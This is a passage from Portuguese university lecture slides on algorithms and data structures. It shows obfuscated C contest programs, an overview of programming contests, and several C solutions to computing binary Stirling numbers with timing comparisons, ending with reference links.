#define ll111 if
#define l1l1 unsigned
#define l111 struct
#define lll11 short
#define ll11l long
#define ll1ll putchar
#define l1l1l(l) l=malloc(sizeof(l111 llll1));l->lll1l=1-1;l->ll1l1=1-1;
#define l1ll1 *lllll++=l1ll%10000;l1ll/=10000;
#define l1lll ll111(!l1->lll1l)l1l1l(l1->lll1l);l1->lll1l->ll1l1=l1;\
lllll=(l1=l1->lll1l)->lll;ll=1-1;
#define llll 1000
AED 2003/2004 – p.532/554
Exemplo II – Factoriais
l111 llll1
l111 llll1 *
lll1l,*ll1l1 ;l1l1 lll11 lll [
llll];;main ()l111 llll1 *ll11,*l1l,*
l1, *ll1l, * malloc ( ) ; l1l1 ll11l l1ll ;
ll11l l11,ll ,l;l1l1 lll11 *lll1,* lllll; ll1(l
=1-1 ;l< 14; ll1ll("\t\"8)>l\"9!.)>vl" [l]ˆ’L’),++l
);scanf("%d",&l);l1l1l(l1l) l1l1l(ll11 ) (l1=l1l)->
lll[l1l->lll[1-1] =1]=l11l;ll1(l11 =1+1;l11<=l;
++l11)l1=ll11; lll1 = (ll1l=( ll11=l1l))->
lll; lllll =( l1l=l1)->lll; ll=(l1ll=1-1
);ll1(;ll1l-> lll1l||l11l!= *lll1;)l1ll
+=l11**lll1++ ;l1ll1 ll111 (++ll>llll)
l1lll lll1=( ll1l =ll1l-> lll1l)->lll;
ll1(;l1ll; )l1ll1 ll111 (++ll>=llll)
l1lll * lllll=l11l;
ll1(l=(ll=1- 1);(l<llll)&&
(l1->lll[ l] !=l11l);++l); ll1 (;l1;l1=
l1->ll1l1,l= llll)ll1(--l ;l>=1-1;--l,
++ll)printf( (ll)?((ll%19) ?"%04d":(ll=
19,"\n%04d") ):"%4d",l1-> lll[l] ) ;
ll1ll(10);
AED 2003/2004 – p.533/554
Exemplo III – Jogo do Galo
#define O B F U S C A T E D
#define I 8;t(p)r(p?W:o);XClearWindow(V,m);main(i,f)char**f;M((T(h=f),
#define K Y(o,XMapRaised(V,e);)x=3;x--;)for(y=3;y--;r(G))XMapRaised(V,R[D]
#define N z(x+i,(z(H-x-i,x),x)))x<i||z(x-i,x)|z(H-x+i,x)Y(W,)l=k;l>20&&l>x
#define XIMOfIC Z;XID(*w)()=XCreateWindow,m,e,o[2],W[2],G[2],R[2][O]);GC*g
#define E (++D)));r(XID*z)XSetWindowBackgroundPixmap(V=d[D],m=R[D][x][y],z[
#define L ;XStoreName(V,e=w(V,RootWindow(V,s),0,0,152,152,2,0,1,0,0,0),"II"+D
#define B 3][3];Display*V,*d[2];char**h,k=25,b[2500],H=50,D,s,x,y,i;T()float
#define S +k),z(k-P=w(V,e,H*x,H*y,H,H,1,0,1,0,2048,&c));XEvent J;M()XFlush(
#define Y(z,y) ;for(z[D]=XCreatePixmapFromBitmapData(Q,x=0,H*H);x<H;x++)y for(
#define A x][y]&&!b[x+k*y]++?t(D),t(!(Dˆ=1)):D);M();z(x,y)b[x/8+y*7]|=1<<x%I
#define P x,y)-z(y,x+k)+z(y,k-x)*z(x+k,y=H-y),z(k-x,y),z(y,k-x),z(y,k+x)K[x][y]
#define Q V,e,b,H,H,BlackPixel(V,s),WhitePixel(V,s),DefaultDepth(V,s)),memset(b
#define C d[!D]);x=3;for(XNextEvent(V,&J);x--;)for(y=3;y--;J.xany.window==R[D][
#define F l;XSetWindowAttributes c;s=XDefaultScreen(V=d[D]=XOpenDisplay(*(h+=!!
#define U *h)))L)Y(G,)i=c.event_mask=4;i--;x+i>H||N;l-=.5)z(x+k,y=sqrt(l*l-x*x)
#include <math.h>
#include <X11/Xlib.h>
AED 2003/2004 – p.534/554
Concursos de Programação
XP@IST:Permite seleccionar equipas do IST para participar naMIUP / SWERC
MIUP:Maratona Inter-Universitária de Programação
SWERC:ACM Southwestern Europe Programming Contest
ICPC: [http://icpc.baylor.edu/icpc]ACM International Collegiate Programming Contest
AED 2003/2004 – p.535/554
Concursos de Programação – Estrutura
k problemas de programação em m horas:SWERC: 9 problemas em 5 horas
Cerca de 1/2 hora por problema...Complexidade de cada problema semelhante àcomplexidade de alguns dos projectos de AED...
AED 2003/2004 – p.536/554
Exemplos
Números de Stirling BináriosDeterminar se é ímpar o número de maneiras departicionar um conjunto de n elements em msubconjuntos não vazios.
AED 2003/2004 – p.537/554
Números de Stirling Binários
S(n,m) = m · S(n − 1,m) + S(n − 1,m − 1), 1 < m < n.
Pretende-se calcular S(n,m)mod2,1 ≤ m ≤ n ≤ 1000000000.
Exemplo: S(4, 2) = 1
AED 2003/2004 – p.538/554
Solução Recursiva
#define odd(x) ((x)&1)
extern int stir(int, int);
int main(int argc, char **argv)
int n, m;
if (argc < 3) exit(0);
n = atoi(argv[1]);
m = atoi(argv[2]);
printf("%d %d %d\n", n, m, odd(stir(n,m)));
int stir(int n, int m)
if (m < 1) return 0;
if (m == n || m == 1 || n <= 1) return 1;
return m * stir(n - 1, m) + stir(n - 1, m - 1);
AED 2003/2004 – p.539/554
Desempenho da Solução Recursiva...
(n,m) Tempo(30,10) 0.4(30,20) 0.8(40,10) 9.0(40,20) >100(50,10) 85.2(50,20) >100
(10000,500) >1000(10000,1000) >1000(10000,2000) >1000
AED 2003/2004 – p.540/554
Solução Tabular I
#include <stdio.h>
#include <stdlib.h>
#define odd(x) ((x)&1)
#define even(x) (1-((x)&1))
#define min(x,y) (((x)<=(y))?(x):(y))
extern int compute_odd_stirling(int, int);
int *partab;
int main(int argc, char **argv)
int n, m;
if (argc < 3) exit(0);
n = atoi(argv[1]);
m = atoi(argv[2]);
partab = (int*) malloc((n+1)*(m+1)*sizeof(int));
if (partab == NULL) exit(1);
printf("%d %d %d\n", n, m, compute_odd_stirling(n, m));
AED 2003/2004 – p.541/554
Solução Tabular I
int compute_odd_stirling(int n, int m)
int i, j, tog = 1, minim;
for (i = 0; i <= n; i++)
*(partab + i*(m+1) + 0) = 0;
*(partab + i*(m+1) + 1) = 1;
for (i = 2; i <= n; i++)
minim = min(i, m);
for (j = 2; j <= minim; j++)
*(partab + i*(m+1) + j) =
j * *(partab + (i-1)*(m+1) + j) + *(partab + (i-1)*(m+1) + j-1);
return odd(*(partab + n*(m+1) + m));
AED 2003/2004 – p.542/554
Avaliação Experimental
(n,m) Versão 1(10000,500) 0.0
(10000,1000) 0.1(10000,2000) 0.4
(100000,1000) 1.1(100000,5000) mem out
(100000,10000) mem out(100000,20000) mem out
(1000000,10000) mem out(1000000,50000) mem out
(1000000,100000) mem out
AED 2003/2004 – p.543/554
Solução Tabular II
#define odd(x) ((x)&1)
#define even(x) (1-((x)&1))
#define min(x,y) (((x)<=(y))?(x):(y))
extern int compute_odd_stirling(int, int);
int *partab[2];
int main(int argc, char **argv)
int n, m;
if (argc < 3) exit(0);
n = atoi(argv[1]);
m = atoi(argv[2]);
partab[0] = (int*) malloc((n+1)*sizeof(int));
partab[1] = (int*) malloc((n+1)*sizeof(int));
printf("%d %d %d\n", n, m, compute_odd_stirling(n, m));
AED 2003/2004 – p.544/554
Solução Tabular II
int compute_odd_stirling(int n, int m)
int i, j, tog = 0, minim;
partab[0][0] = 0;
partab[0][1] = 1;
for (i = 2; i <= n; i++)
tog = 1-tog;
minim = min(i,m);
partab[tog][1] = 1;
for (j = 2; j <= minim; j++)
if (odd(j))
partab[tog][j] = odd((partab[1-tog][j] + partab[1-tog][j-1]));
else
partab[tog][j] = partab[1-tog][j-1];
return partab[tog][m];
AED 2003/2004 – p.545/554
Solução Tabular III
#define odd(x) ((x)&1)
#define even(x) (1-((x)&1))
#define min(x,y) (((x)<=(y))?(x):(y))
extern int compute_odd_stirling(int, int);
int *partab[2];
int main(int argc, char **argv)
int n, m;
if (argc < 3) exit(0);
n = atoi(argv[1]);
m = atoi(argv[2]);
partab[0] = (int*) malloc((n+1)*sizeof(int));
partab[1] = (int*) malloc((n+1)*sizeof(int));
printf("%d %d %d\n", n, m, compute_odd_stirling(n, m));
AED 2003/2004 – p.546/554
Solução Tabular III
int compute_odd_stirling(int n, int m)
int i, j, tog = 0, minim;
partab[0][0] = 0;
partab[0][1] = 1;
for (i = 2; i <= n-m+1; i++)
tog = 1-tog;
minim = min(i,m);
partab[tog][1] = 1;
for (j = 2; j <= minim; j++)
if (odd(j))
partab[tog][j] = odd((partab[1-tog][j] + partab[1-tog][j-1]));
else
partab[tog][j] = partab[1-tog][j-1];
...
AED 2003/2004 – p.547/554
Solução Tabular III
(cont.)for (i = n-m+2; i <= n; i++)
tog = 1-tog;
minim = min(i,m);
for (j = i+m-n; j <= minim; j++)
if (odd(j))
partab[tog][j] = odd((partab[1-tog][j] + partab[1-tog][j-1]));
else
partab[tog][j] = partab[1-tog][j-1];
return partab[tog][m];
AED 2003/2004 – p.548/554
Avaliação Experimental
(n,m) Versão 1 Versão 2 Versão 3(10000,500) 0.0 0.0 0.0
(10000,1000) 0.1 0.1 0.1(10000,2000) 0.4 0.1 0.1
(100000,1000) 1.1 0.5 0.5(100000,5000) mem out 2.4 2.5
(100000,10000) mem out 4.9 4.3(100000,20000) mem out 9.2 7.9
(1000000,10000) mem out 50.6 47.1(1000000,50000) mem out 328.6 320.2
(1000000,100000) mem out 641.4 608.0(1000000,200000) mem out >1000 >1000
AED 2003/2004 – p.549/554
Solução Tabular IV
#define odd(x) ((x)&1)
#define even(x) (1-((x)&1))
#define min(x,y) (((x)<=(y))?(x):(y))
extern int compute_odd_stirling(int, int);
int *partab0, *partab1;
int main(int argc, char **argv)
int n, m;
if (argc < 3) exit(0);
n = atoi(argv[1]);
m = atoi(argv[2]);
partab0 = (int*) malloc((n+1)*sizeof(int));
partab1 = (int*) malloc((n+1)*sizeof(int));
printf("%d %d %d\n", n, m, compute_odd_stirling(n, m));
AED 2003/2004 – p.550/554
Solução Tabular IV
int compute_odd_stirling(int n, int m)
int i, j, tog = 0, minim;
partab0[0] = 0; partab0[1] = 1;
for (i = 2; i <= n; i++)
tog = 1-tog;
minim = min(i,m);
if (tog)
partab1[1] = 1;
for (j = 2; j <= minim; j++)
partab1[j] = odd(j) ? odd((partab0[j]+partab0[j-1])) : partab0[j-1];
else
partab0[1] = 1;
for (j = 2; j <= minim; j++)
partab0[j] = odd(j) ? odd((partab1[j]+partab1[j-1])) : partab1[j-1];
return (tog) ? partab1[m] : partab0[m];
AED 2003/2004 – p.551/554
Avaliação Experimental
(n,m) Versão 2 Versão 4(10000,500) 0.0 0.0
(10000,1000) 0.1 0.1(10000,2000) 0.1 0.1
(100000,1000) 0.5 0.5(100000,5000) 2.4 2.4
(100000,10000) 4.9 4.7(100000,20000) 9.2 8.2
(1000000,10000) 50.6 49.8(1000000,50000) 328.6 306.5
(1000000,100000) 641.4 580.2(1000000,200000) >1000 >1000
AED 2003/2004 – p.552/554
Alguns Links
Buffer overrunshttp://www.phrack.org/show.php?p=49&a=14http://www.phrack.org/http://www.shemesh.biz/lectures.html
IOCCChttp://www.ioccc.org/
Concursos de ProgramaçãoMIUP’02: http://miup2002.fc.ul.pt/SWERC’01 & SWERC’02: http://swerc.up.pt/Colecções de problemas:
acm.uva.es/problemsetwww.acm.inf.ethz.ch/ProblemSetArchive.html
AED 2003/2004 – p.553/554
AED 2003/2004 – p.554/554